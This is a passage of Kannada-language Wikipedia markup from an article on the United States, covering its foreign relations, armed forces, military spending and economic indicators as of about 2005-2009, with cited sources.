ರಾಯಭಾರ ಸಂಸ್ಥೆಗಳ ಪಟ್ಟಿ|ಅಮೆರಿಕನ್ ರಾಜತಾಂತ್ರಿಕ ನಿವಾಸ]]ಗಳನ್ನು ಹೊಂದಿವೆ. ಆದರೆ [[ಕ್ಯೂಬಾ – ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸಂಬಂಧ|ಕ್ಯೂಬಾ]], [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ - ಇರಾನ್ ಸಂಬಂಧ|ಇರಾನ್]], [[ಉತ್ತರ ಕೊರಿಯ – ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸಂಬಂಧ|ಉತ್ತರ ಕೊರಿಯಾ]], [[ಭೂತಾನ್‌|ಭೂತಾನ್]], [[ಸುಡಾನ್]] ಮತ್ತು [[ರಿಪಬ್ಲಿಕ್‌ ಆಫ್‌ ಚೀನಾ|ಚೀನಾ ಗಣರಾಜ್ಯ]] (ತೈವಾನ್) ಗಳು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಜೊತೆ ಔಪಚಾರಿಕ ರಾಜತಾಂತ್ರಿಕ ಸಂಬಂಧವನ್ನು ಹೊಂದಿಲ್ಲ. ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು [[ಸಂಯುಕ್ತ ಸಾಮ್ರಾಜ್ಯ - ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸಂಬಂಧ|ಸಂಯುಕ್ತ ಸಾಮ್ರಾಜ್ಯ]]ದೊಂದಿಗೆ ಹಾಗೂ [[ಕೆನಡಾ – ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸಂಬಂಧ|ಕೆನಡಾ]]ದೊಂದಿಗೆ [[ವಿಶೇಷ ಸಂಬಂಧ]]ವನ್ನು ಹೊಂದಿವೆ. ಮತ್ತು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ -ಆಸ್ಟ್ರೇಲಿಯಾ ಸಂಬಂಧ|ಆಸ್ಟ್ರೇಲಿಯಾ]], [[ನ್ಯೂಜಿಲ್ಯಾಂಡ್ – ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸಂಬಂಧ|ನ್ಯೂಝಿಲ್ಯಾಂಡ್]], [[ಜಪಾನ್ – ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸಂಬಂಧ|ಜಪಾನ್]], [[ದಕ್ಷಿಣ ಕೊರಿಯ– ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸಂಬಂಧ|ದಕ್ಷಿಣ ಕೊರಿಯಾ]], [[ಇಸ್ರೇಲ್ – ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸಂಬಂಧ|ಇಸ್ರೇಲ್]], ಮತ್ತು ಇತರೆ [[ನ್ಯಾಟೋ]] ಸದಸ್ಯತ್ವದ ರಾಷ್ಟ್ರಗಳೊಡನೆ ದೃಢವಾದ ಸಂಬಂಧವನ್ನು ಹೊಂದಿದೆ. ಕೆನಡಾ ಮತ್ತು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ -ಮೆಕ್ಸಿಕೋ ಸಂಬಂಧ|ಮೆಕ್ಸಿಕೋ]]ದ ಜೊತೆಗೆ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮುಕ್ತ ವ್ಯಾಪಾರ ಒಪ್ಪಂದ|ಮುಕ್ತ ವಾಪಾರ ಒಪ್ಪಂದ]]ಗಳಾದ [[ಉತ್ತರ ಅಮೆರಿಕದ ಮುಕ್ತ ವ್ಯಾಪಾರ ಒಪ್ಪಂದ]]ಗಳ ಮತ್ತು [[ಅಮೆರಿಕ ರಾಜ್ಯಗಳ ಒಕ್ಕೂಟ|ಅಮೆರಿಕದ ರಾಜ್ಯಗಳ ಸಂಘಟನೆ]]ಯ ಮೂಲಕ ನೆರೆ ರಾಷ್ಟ್ರಗಳೊಂದಿಗೆ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಆಪ್ತವಾಗಿ ವರ್ತಿಸುತ್ತದೆ. [[ಪೀಪಲ್ಸ್‌ ರಿಪಬ್ಲಿಕ್‌ ಆಫ್‌ ಚೀನಾ|ಚೀನಾ ಗಣರಾಜ್ಯ]]ವು ಸುಮಾರು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ 1.6 ಟ್ರಿಲಿಯನ್ ಡಾಲರ್‌ಗಳಷ್ಟು [[ರಕ್ಷಣೆ (ಹಣಕಾಸು)|ಶೇರುಗಳನ್ನು]] ಹೊಂದಿರುವ, <ref> [http://www.reuters.com/article/bondsNews/idUSPEK16627420090820 ಚೀನಾ ಮಸ್ಟ್ ಕೀಪ್ ಬೈಯಿಂಗ್ ಯುಎಸ್ ಟ್ರೆಶರೀಸ್ ಫಾರ್ ನೌ-ಪೇಪರ್].ರಾಯ್ಟರ್ಸ್‌ಅಗಸ್ಟ್ 19, 2009.</ref> [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಾರ್ವಜನಿಕ ಸಾಲ|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಕ್ಕೆ ಸಾಲದ ಋಣ]]ವನ್ನು ಹೊಂದಿರುವ ಅತೀದೊಡ್ಡ ವಿದೇಶೀ ಹಣಕಾಸುದಾರನಾಗಿದೆ.<ref> [http://money.cnn.com/2009/07/29/news/economy/china_america_lender_respect.fortune/index.htm ವಾಶಿಂಗ್ಟನ್ ಲರ್ನ್ಸ್ ಟು ಟ್ರೀಟ್ ಚಿನಾ ವಿತ್ ಕೇರ್].CNNMoney.com. ಜುಲೈ 29, 2009.</ref> 2005ರಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು 27$ ಬಿಲಿಯನ್ ಹಣವನ್ನು ಜಗತ್ತಿನಾದ್ಯಂತದಲ್ಲಿ [[ಅಧಿಕೃತ ಅಭಿವೃದ್ಧಿಯ ಸಹಾಯ|ಔದ್ಯೋಗಿಕ ಬೆಳವಣಿಗೆಯ ನೆರವಿ]]ಗೆ ಖರ್ಚುಮಾಡಿದೆ. [[ದೇಶದ ಒಟ್ಟು ಆದಾಯ|ನಿವ್ಹಳ ರಾಷ್ಟ್ರೀಯ ಆದಾಯ]](ಜಿಎನ್ಐ) ದಲ್ಲಿ 0.22% ನೀಡುವ ಮೂಲಕ ಇಪ್ಪತ್ತೆರಡು ದಾನಿ ರಾಜ್ಯಗಳಲ್ಲಿ ಇಪ್ಪತ್ತನೇ ದರ್ಜೆಯನ್ನು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಹೊಂದಿದೆ. ಖಾಸಗೀ ಸಂಘ-ಸಂಸ್ಥೆಗಳು, ಶೈಕ್ಷಣಿಕ ಮತ್ತು ಧಾರ್ಮಿಕ ಸಂಸ್ಥೆಗಳಂತಹ ಸರ್ಕಾರೇತರ ಸಂಸ್ಥೆಗಳು $96 ಬಿಲಿಯನ್ ದಾನ ಮಾಡಿವೆ. ಒಟ್ಟಾರೆ $123 ಬಿಲಿಯನ್ ಹಣವು ಜಿಎನ್‌ಐ ಶೇಕಡಾದಲ್ಲಿ ಏಳನೆಯದಾಗಿದೆ ಮತ್ತು ಅತೀ ಹೆಚ್ಚಿನ ಮೊತ್ತವಾಗಿದೆ. <ref>{{cite web|title=Americans Favor Private Giving, People-to-People Contacts|date=2007-05-24|publisher=U.S. Dept. of State, International Information Programs|url=http://usinfo.state.gov/xarchives/display.html?p=washfile-english&y=2007&m=May&x=20070524165115zjsredna0.2997553|accessdate=2007-06-17}}</ref> [[ಚಿತ್ರ:USS Abraham Lincoln(CVN 72).jpg|thumb|left|ಯಎಸ್‌ಎಸ್ ''ಅಬ್ರಹಾಂ ಲಿಂಕನ್ '' ವಿಮಾನ ವಾಹನ]] ರಾಷ್ಟ್ರದ ಸೇನಾ ಮುಖ್ಯ ದಂಡನಾಯಕನ ಪದವಿಯನ್ನು ಅಧ್ಯಕ್ಷರು ಹೊಂದಿರುತ್ತಾರೆ ಮತ್ತು ಮುಖ್ಯಸ್ಥರಾದ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಕ್ಷಣಾ ಇಲಾಖೆಯ ಕಾರ್ಯದರ್ಶಿ|ರಕ್ಷಣಾ ಕಾರ್ಯದರ್ಶಿ]] ಹಾಗೂ [[ಅಧಿಕಾರಿಗಳ ಜಂಟಿ ಮುಖ್ಯಸ್ಥ|ಜಂಟಿ ಕಾರ್ಯಮುಖ್ಯಸ್ಥ]]ರ ಹುದ್ದೆಯನ್ನು ಅಧ್ಯಕ್ಷರೇ ನೇಮಿಸುತ್ತಾರೆ. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಕ್ಷಣಾ ಇಲಾಖೆ]]ಯು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸೈನ್ಯ|ಭೂಸೇನೆ]], [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ನೌಕಾದಳ|ನೌಕಾಸೇನೆ]], [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಕಡಲಿನ ಸೈನ್ಯದಳ|ಜಲಾಂತರ್ಗತ ಸೇನೆ]] ಮತ್ತು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಗಳ ವಾಯುಪಡೆ|ವಾಯುಸೇನೆಯ]] ಆಡಳಿತವನ್ನು ನೋಡಿಕೊಳ್ಳುತ್ತದೆ. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಕರಾವಳಿ ತೀರ ಕಾವಲುಗಾರರು|ಕರಾವಳಿ ಪಡೆ]]ಯು ಸಾಮಾನ್ಯ ಸಮಯದಲ್ಲಿ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಭೂ ರಕ್ಷಣೆ ವಿಭಾಗ|ಗೃಹರಕ್ಷಣಾ ಇಲಾಖೆ]]ಯ ಆಡಳಿತದಲ್ಲಿರುತ್ತದೆ ಮತ್ತು ಯುದ್ಧದ ಸಂದರ್ಭದಲ್ಲಿ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ನೌಕಾಪಡೆ ವಿಭಾಗ|ನೌಕಾಸೇನಾ ಇಲಾಖೆ]]ಯ ಆಡಳಿತದಲ್ಲಿರುತ್ತದೆ. 2005ರಲ್ಲಿ ಮಿಲಿಟರಿಯು 1.38 ಮಿಲಿಯನ್‌ ಸೈನಿಕರನ್ನು ಹೊಂದಿತ್ತು.<ref>{{cite web|url=http://www.globalpolicy.org/empire/tables/2005/1231militarypersonnel.pdf|title=Department of Defense Active Duty Military Personnel Strengths by Regional Area and by Country (309A)|date=2005-12-31|publisher=Global Policy Forum|accessdate=2007-06-21}}</ref> ಜೊತೆಗೆ ಕೆಲವು ನೂರು ಸಾವಿರ ಸೈನಿಕರನ್ನು ಪ್ರತಿಯೊಂದು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಶಸ್ತ್ರ ಸೈನ್ಯದ ಮಿಸಲು ಘಟಕ|ಮೀಸಲು ಪಡೆ]]ಗಳಲ್ಲಿ ಮತ್ತು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಷ್ತ್ರೀಯ ಕಾವಲುಗಾರರು|ರಾಷ್ಟ್ರೀಯ ರಕ್ಷಕ]]ರನ್ನು ಒಟ್ಟು [[ಒಟ್ಟು ಗುಂಪುಗಳಿಗೆ ಅನುಗುಣವಾಗಿ ದೇಶಗಳ ಪಟ್ಟಿ|2.3 ಮಿಲಿಯನ್‌ ಪಡೆ]]ಗಾಗಿ ಹೊಂದಲಾಗಿದೆ. ರಕ್ಷಣಾ ಇಲಾಖೆಯು ಗುತ್ತಿಗೆದಾರರನ್ನು ಹೊರತುಪಡಿಸಿ ಸುಮಾರು ಏಳು ಲಕ್ಷ ನಾಗರಿಕರನ್ನು ಹೊಂದಿತ್ತು. ಮಿಲಿಟರಿ ಸೇವೆಯು ಸ್ವಯಂಸೇವೆಯಾಗಿದ್ದು, [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಕಡ್ಡಾಯ ಸೈನ್ಯ ಶಿಕ್ಷಣ|ಕಡ್ಡಾಯ ಸೈನ್ಯ ಶಿಕ್ಷಣ]] ಹೊಂದಿದವರನ್ನು [[ಆಯ್ದ ಸೇವೆ ಪದ್ಧತಿ|ಆಯ್ದ ಸೇವಾ ವ್ಯವಸ್ಥೆ]]ಯಡಿ ಯುದ್ಧದ ಸಂದರ್ಭಗಳಲ್ಲಿ ತೆಗೆದುಕೊಳ್ಳಲಾಗುವುದು. ವಿಮಾನಗಳ ಸಾಗಣೆ ಮತ್ತು ಆಕಾಶದಲ್ಲಿ ಇಂಧನ ಮರುಪೂರಣಾ ಸಂಗ್ರಾಹಕಗಳಿಂದ ಅಮೆರಿಕದ ಪಡೆಗಳು ಶರವೇಗದಲ್ಲಿ ಯುದ್ಧಕ್ಕೆ ಸನ್ನದ್ಧರನ್ನಾಗಿಸಬಹುದು. ಹನ್ನೊಂದು ಕ್ರಿಯಾಶೀಲ ವಿಮಾನ ವಾಹಕಗಳು ಮತ್ತು [[ಕಡಲ ಯುದ್ಧಕಾರ್ಯ ಘಟಕ|ಕಡಲತಡಿಯ ಪ್ರಯಾಣ ಘಟಕ]]ಗಳು ನೌಕಾಪಡೆಯ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಫ್ಲೀಟ್ ಫೋರ್ಸಸ್ ಕಮ್ಯಾಂಡ್|ಅಟ್ಲಾಂಟಿಕ್ ಮತ್ತು]] [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಫೆಸಿಫಿಕ್ ಫ್ಲೀಟ್|ಪೆಸಿಫಿಕ್ ನೆಲೆ]]ಗಳಲ್ಲಿವೆ. [[ಅಂಟಾರ್ಟಿಕದಲ್ಲಿ ಸೈನ್ಯದ ಚಟುವಟಿಕೆ|ಅಂಟಾರ್ಕ್ಟಿಕಾವನ್ನು ಹೊರತುಪಡಿಸಿ]] ಭೂಖಂಡದಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಹೊರಗೆ, [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸೈನದ ಬೆಳವಣಿಗೆ|770 ನೆಲೆಗಳು ಮತ್ತು ಸೌಲಭ್ಯಗಳಲ್ಲಿ]] ಮಿಲಿಟರಿಯನ್ನು ನಿಯಮಿಸಲಾಗಿದೆ.<ref>{{cite web|url=http://www.globalpolicy.org/empire/intervention/2005/basestructurereport.pdf|title=Department of Defense Base Structure Report, Fiscal Year 2005 Baseline|publisher=Global Policy Forum|accessdate=2007-06-21}}</ref> ಈ ಜಾಗತಿಕ ಮಿಲಿಟರಿ ಉಪಸ್ಥಿತಿಯಿಂದ ಕೆಲವು ವಿದ್ವಾಂಸರು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು "ನೆಲೆಗಳ ಸಾಮ್ರಾಜ್ಯ"ವನ್ನು ನಿರ್ವಹಿಸುತ್ತಿದೆ ಎಂದು ವ್ಯಾಖ್ಯಾನಿಸುತ್ತಾರೆ.<ref>{{cite web|author=Ikenberry, G. John|url=http://people.cas.sc.edu/rosati/ttp.ikenberry.empirereviews.fa.march04.htm|title=Illusions of Empire: Defining the New American Order|work=Foreign Affairs|date=March/April 2004}} {{cite web|author=Kreisler, Harry, and Chalmers Johnson|url=http://globetrotter.berkeley.edu/people4/CJohnson/cjohnson-con3.html|title=Conversations with History|publisher=University of California at Berkeley|date=2004-01-29|accessdate=2007-06-21}}</ref> 2006ರಲ್ಲಿ ಒಟ್ಟು ಮಿಲಿಟರಿ ಖರ್ಚು $528 ಬಿಲಿಯನ್‌ಗಿಂತ ಹೆಚ್ಚಾಗಿತ್ತು. ಇದು ಜಗತ್ತಿನ 46%ರಷ್ಟು ಮಿಲಿಟರಿ ವೆಚ್ಚವಾಗಿದೆ ಮತ್ತು ಇದು ನಂತರದ ಹದಿನಾಲ್ಕು ದೊಡ್ಡ ರಾಷ್ಟ್ರೀಯ ಮಿಲಿಟರಿ ಖರ್ಚು-ವೆಚ್ಚಗಳನ್ನು ಸೇರಿಸಿದರೆ ಆಗುವ ಮೊತ್ತಕ್ಕಿಂತ ಹೆಚ್ಚಿನ ಮೊತ್ತವಾಗಿದೆ. ( ಈ ರೀತಿಯ ಖರ್ಚು-ವೆಚ್ಚವನ್ನು ಸೇರಿಸಿದರೆ [[ಖರೀದಿ ಸಾಮಾರ್ಥ್ಯದ ಹೋಲಿಕೆ|ಕ್ರಯದ ಶಕ್ತಿಯ ಅನುರೂಪತೆ]]ಯಲ್ಲಿ ಇದು ನಂತರದ ಆರನೇಯ ಮತ್ತು ಅತಿಹೆಚ್ಚಿನದಾಗಿದೆ.) 1,756 ರಷ್ಟು ವ್ಯಕ್ತಿಯ ತಲಾ ಖರ್ಚು-ವೆಚ್ಚವು ಜಗತ್ತಿನ ಸರಾಸರಿ ಖರ್ಚುವೆಚ್ಚದ ಹತ್ತು ಪಟ್ಟು ದೊಡ್ಡದು.<ref>{{cite web|url=http://www.sipri.org/contents/milap/milex/mex_major_spenders.pdf/download|title=The Fifteen Major Spender Countries in 2006|publisher=Stockholm International Peace Research Institute|year=2007|accessdate=2007-06-20}}</ref> 4.06% ರ ಜಿಡಿಪಿಯು 172 ದೇಶಗಳಲ್ಲಿನ ಮಿಲಿಟರಿ ಖರ್ಚು-ವೆಚ್ಚಗಳಲ್ಲಿ 27ನೇ ದರ್ಜೆಯದಾಗಿದೆ.<ref>{{cite web|url=https://www.cia.gov/library/publications/the-world-factbook/rankorder/2034rank.html|title=Rank Order—Military Expenditures—Percent of GDP|publisher=CIA|work=The World Factbook|date=2007-05-31|accessdate=2007-06-13|archive-date=2018-01-20|archive-url=https://web.archive.org/web/20180120113336/https://www.cia.gov/library/publications/the-world-factbook/rankorder/2034rank.html|url-status=dead}}</ref> 2009ರ ಉದ್ದೇಶಿತ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸೈನ್ಯದ ಅಯವ್ಯಯ ಪತ್ರ|ರಕ್ಷಣಾ ಇಲಾಖೆಯ ಆಯವ್ಯಯ]]ವು $515.4 ಬಿಲಿಯನ್ ಆಗಿದೆ. ಇದು 2008ಕ್ಕಿಂತ 7%ರಷ್ಟು ಹೆಚ್ಚಾಗಿದೆ. ಮತ್ತು ಸುಮಾರು 2001ರ ನಂತರ 74% ರಷ್ಟು ಹೆಚ್ಚಾಗಿದೆ.<ref>{{cite web|url=http://www.whitehouse.gov/omb/budget/fy2009/defense.html|title=Department of Defense|publisher=Office of Management and Budget|work=Budget of the United States Government, FY 2009|accessdate=2008-03-02}}</ref> [[ಇರಾಕ್ ಯುದ್ಧ|ಇರಾಕ್ ಸಮರ]]ದ ಖರ್ಚನ್ನು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಅಂದಾಜಿಸಿದಂತೆ ಸುಮಾರು $2.7 ಟ್ರಿಲಿಯನ್ ಆಗಿದೆ.<ref>{{cite web|author=Goldman, David|url=http://money.cnn.com/2008/06/11/news/economy/iraq_war_hearing/|title=Iraq War Could Cost Taxpayers $2.7 Trillion|publisher=CNNMoney|date=2008-06-12|accessdate=2009-03-10}}</ref> ಮೇ 3, 2009ರವರೆಗೆ ಸಮರದ ಸಮಯದಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ 4,284 ಸೈನಿಕರು ಸಾವು-ನೋವು ಅನುಭವಿಸಿದರು ಮತ್ತು 31,000ಕ್ಕೂ ಹೆಚ್ಚು ಸೈನಿಕರು ಗಾಯಾಳುಗಳಾದರು.<ref>{{cite web|url=http://icasualties.org/Iraq/index.aspx|title=Iraq Coalition Casualties|publisher=Iraq Coalition Casualty Count|date=2009-05-03|accessdate=2009-05-03|archive-date=2011-03-21|archive-url=https://web.archive.org/web/20110321080348/http://icasualties.org/Iraq/index.aspx|url-status=dead}}</ref> == ವಾಣಿಜ್ಯ == {{Main|Economy of the United States}} {| class="wikitable" border="1" style="border:1px black;float:right;margin-left:1em" |- ! style="background:#f99" colspan="2"|ಆರ್ಥಿಕ ಸೂಚಕಗಳು |- | [[ನಿರುದ್ಯೋಗ]] | 9.4%<sup>ಜುಲೈ 2009</sup><ref>{{cite web|url=http://www.bls.gov/news.release/empsit.nr0.htm|title=Employment Situation Summary|publisher=U.S. Dept. of Labor|date=2009-08-07|accessdate=2009-08-09}}</ref> |- | GDP ಬೆಳವಣಿಗೆ | −1.0%<sup>2Q 2009</sup> [0.4%<sup>2008</sup>]<ref> {{cite web|url=http://www.bea.gov/national/xls/gdpchg.xls|title=Gross Domestic Product|publisher=Bureau of Economic Analysis|date=2009-07-31|accessdate=2009-08-06}}ಚೇಜ್ ಈಸ್ ಬೇಸ್ಡ್ ಆನ್ [[ಸರಣಿ ಡಾಲರ್‌ಗಳು|ಚೈನ್‌ಡ್ 2005 ಡಾಲರ್ಸ್]] ಕ್ವಾರ್ಟರ್ಲೀ ಗ್ರೋತ್ ಈಸ್ ಎಕ್ಸ್‌ಪ್ರೆಸ್‌ಡ್ ಆಸ್ ಎನ್ ಆನ್ಯುವಲೈಸ್ಡ್ ರೇಟ್.</ref> |- | [[ಗ್ರಾಹಕ ಬೆಲೆ ಸೂಚ್ಯಂಕ|CPI]] ಹಣದುಬ್ಬರ | −2.1%<sup>{{as of|date=2009|June|alt=July 2008 – July 2009}}</sup><ref>{{cite web|url=http://www.bls.gov/news.release/cpi.nr0.htm|title=Consumer Price Index: July 2009|publisher=Bureau of Labor Statistics|date=2009-08-14|accessdate=2009-08-23}}</ref> |- | [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಾರ್ವಜನಿಕ ಸಾಲ|ಸಾರ್ವಜನಿಕ ಸಾಲ]] | $11.808 trillion<sup>ಸೆಪ್ಟೆಂಬರ್ 18, 2009</sup><ref>{{cite web|url=http://www.treasurydirect.gov/NP/BPDLogin?application=np|title=Debt Statistics|publisher=U.S. Dept. of the Treasury|accessdate=2009-09-21}}</ref> |- | [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಬಡತನ|ಬಡತನ]] | 13.2%<sup>2008</sup><ref name="CBPR08">{{cite web|url=http://www.census.gov/prod/2009pubs/p60-236.pdf|title=Income, Poverty and Health Insurance Coverage in the United States: 2008|publisher=U.S. Census Bureau|date=2009-09-10|accessdate=2009-09-16}}</ref> |} ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು [[ಬಂಡವಾಳಶಾಹಿ|ಬಂಡವಾಳಗಾರ]]ರನ್ನು ಒಳಗೊಂಡ [[ಮಿಶ್ರ ಆರ್ಥಿಕ ವ್ಯವಸ್ಥೆ|ಸಮ್ಮಿಶ್ರ ಆರ್ಥಿಕತೆ]]ಯಾಗಿದೆ. ಸಮೃದ್ಧ [[ನೈಸರ್ಗಿಕ ಸಂಪನ್ಮೂಲ|ನೈಸರ್ಗಿಕ ಮೂಲಸೌಲಭ್ಯ]]ಗಳು, ಸುಸಜ್ಜಿತ ಮೂಲಭೂತ ವ್ಯವಸ್ಥೆಗಳು ಮತ್ತು ಅತೀ ಹೆಚ್ಚಿನ ಉತ್ಪಾದನಾ ಸಾಮರ್ಥ್ಯವು ಇದಕ್ಕೆ ನೀರೆರೆದಿದೆ.<ref>{{cite book|title=Natural Resources: Neither Curse Nor Destiny|author=Lederman, Daniel, and William Maloney|publisher=World Bank|year=2007|isbn=0821365452|page=185}}</ref> [[ಅಂತರರಾಷ್ಟ್ರೀಯ ಹಣಕಾಸು ನಿಧಿ|ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಾನಿಟರಿ ನಿಧಿ]]ಯ ಅನುಸಾರವಾಗಿ, ಮಾರುಕಟ್ಟೆ ವ್ಯಾಪಾರ ದರದಲ್ಲಿನ 23% [[ಪ್ರಪಂಚದ ಒಟ್ಟು ಉತ್ಪನ್ನ|ನಿವ್ಹಳ ಜಾಗತಿಕ ಉತ್ಪನ್ನ]]ವನ್ನು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ 14.3% ಜಿಡಿಪಿಯು ನಿಯೋಜಿಸುತ್ತದೆ ಮತ್ತು [[ಖರೀದಿ ಸಾಮಾರ್ಥ್ಯದ ಹೋಲಿಕೆ|ಕ್ರಯದ ಶಕ್ತಿಯ ಅನುರೂಪತೆ]]ಯ ನಿವ್ಹಳ ಜಾಗತಿಕ ಉತ್ಪನ್ನವು ಸುಮಾರು 21% ಆಗಿದೆ.(ppp)<ref name="IMF GDP"/> ಜಗತ್ತಿನ ಅತೀ ದೊಡ್ಡ ರಾಷ್ಟ್ರೀಯ ಜಿಡಿಪಿಯು, 2007ರಲ್ಲಿನ pppಯಂತೆ [[ಯೂರೋಪ್‌ ಒಕ್ಕೂಟ|ಯುರೋಪಿಯನ್ ಯೂನಿಯನ್‌]]ನ್ನೂ ಸೇರಿಸಿದ ಜಿಡಿಪಿಯು 4%ಕ್ಕಿಂತ ಕಡಿಮೆಯಾಗಿದೆ.<ref>{{cite web|url=https://www.cia.gov/library/publications/the-world-factbook/rankorder/2001rank.html|title=Rank Order—GDP (Purchasing Power Parity)|publisher=CIA|work=World Factbook|date=2008-10-09|accessdate=2008-10-21|archive-date=2011-06-04|archive-url=https://web.archive.org/web/20110604195034/https://www.cia.gov/library/publications/the-world-factbook/rankorder/2001rank.html|url-status=dead}}</ref> [[ಜಿಡಿಪಿ ಮೇಲಿನ (ಪಿಪಿಪಿ) ತಲಾ ವರಮಾನದ ದೇಶಗಳ ಪಟ್ಟಿ|pppಯ ತಲಾ ಆದಾಯದ ಜಿಡಿಪಿ]]ಯಂತೆ ಆರನೇಯ ಮತ್ತು [[ಜಿಡಿಪಿ ಮೇಲಿನ (ನಾಮಾಂಕಿತ) ತಲಾ ವರಮಾನದ ದೇಶಗಳ ಪಟ್ಟಿ|ತಲಾ ಆದಾಯದ ನಾಮಮಾತ್ರದ ಜಿಡಿಪಿ]]ಯಂತೆ ದೇಶವು ಹದಿನೇಳನೇ ದರ್ಜೆಯದಾಗಿದೆ.<ref name="IMF GDP"/> ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ವಸ್ತುಗಳ ಆಮದಿನ ಅತೀ ದೊಡ್ಡ ದೇಶವಾಗಿದೆ. ಮತ್ತು ಮೂರನೇ ಅತೀದೊಡ್ಡ ರಫ್ತುದಾರನಾಗಿದೆ. ಆದರೂ [[ತಲಾ ವರಮಾನದ ರಫ್ತುಗಳ ಅನುಗುಣವಾಗಿ ದೇಶಗಳ ಪಟ್ಟಿ|ತಲಾ ರಫ್ತು]] ಕಡಿಮೆಯಿದೆ. ಕೆನಡಾ, ಚೀನಾ, ಮೆಕ್ಸಿಕೋ, ಜಪಾನ್ ಮತ್ತು ಜರ್ಮನಿಗಳು ಮುಖ್ಯ ವ್ಯಾಪಾರಿ ಪಾಲುದಾರರು.<ref>{{cite web|url=http://www.census.gov/foreign-trade/top/dst/current/balance.html|title=U.S. Top Trading Partners, 2006|publisher=U.S. Census Bureau|accessdate=2007-03-26}}</ref> ಮುಖ್ಯ ರಫ್ತು ಸಾಮಗ್ರಿಗಳೆಂದರೆ ವಿದ್ಯುನ್ಮಾನ ಯಂತ್ರಗಳು. ಇದೇ ವೇಳೆ ವಾಹನಗಳು ಮುಖ್ಯ ಆಮದು ಸಾಮಗ್ರಿಯಾಗಿವೆ.<ref>{{cite web|url=http://www.census.gov/prod/2006pubs/07statab/foreign.pdf|title=Table 1289. U.S. Exports and General Imports by Selected SITC Commodity Groups: 2002 to 2005|publisher=U.S. Census Bureau|work=Statistical Abstract of the United States 2007|month=October|year=2006|accessdate=2007-08-26}}</ref> [[ಜಾಗತಿಕ ಸ್ಪರ್ಧಾತ್ಮಕ ವರದಿ|ಗ್ಲೋಬಲ್ ಕಾಂಪಿಟಿಟಿವ್‌ನೆಸ್ ವರದಿ]]ಯಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಒಟ್ಟು ದರ್ಜೆಯಲ್ಲಿ ಮೊದಲ ಸ್ಥಾನದಿಂದ ಎರಡನೇ ಸ್ಥಾನಕ್ಕೆ ಇಳಿದಿದೆ. [[ಸ್ವಿಟ್ಜರ್ಲೆಂಡ್‌|ಸ್ವಿಝರ್‌ಲ್ಯಾಂಡ್]] ಈಗ ಪಟ್ಟಿಯಲ್ಲಿ ಮೊದಲನೆಯದಾಗಿದೆ.<ref name="Rank2009">{{Cite web| url=http://www.weforum.org/pdf/GCR09/GCR20092010fullrankings.pdf|title = Table 4: The Global Competitiveness Index 2009–2010 rankings and 2008–2009 comparisons| author = World Economic Forum|accessdate=2009-09-09}}</ref> ಆರು ವರ್ಷಗಳ ಹಿಂದೆ ವಿಸ್ತಾರವನ್ನು ಕೈಗೊಂಡಿದ್ದ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಆರ್ಥಿಕತೆಯು ಡಿಸೆಂಬರ್ 2007ರಿಂದ [[2000ನೇ ಇಸವಿಯ ಕುಸಿತ|ಹಿಂಜರಿಕೆ]]ಯನ್ನು ಅನುಭವಿಸುತ್ತಿದೆ.<ref>{{cite news|url=http://www.nytimes.com/2008/12/02/business/02markets.html|author=Grynbaum, Michael A.|title=Dow Plunges 680 Points as Recession Is Declared|work=New York Times|date=2008-12-01|accessdate=2008-12-01}}</ref> [[ಚಿತ್ರ:NYC NYSE.jpg|thumb|ದಿ ನ್ಯೂಯಾರ್ಕ್ ಸ್ಟಾಕ್ ಎಕ್ಸ್‌ಚೆಂಜ್,ವಾಲ್ 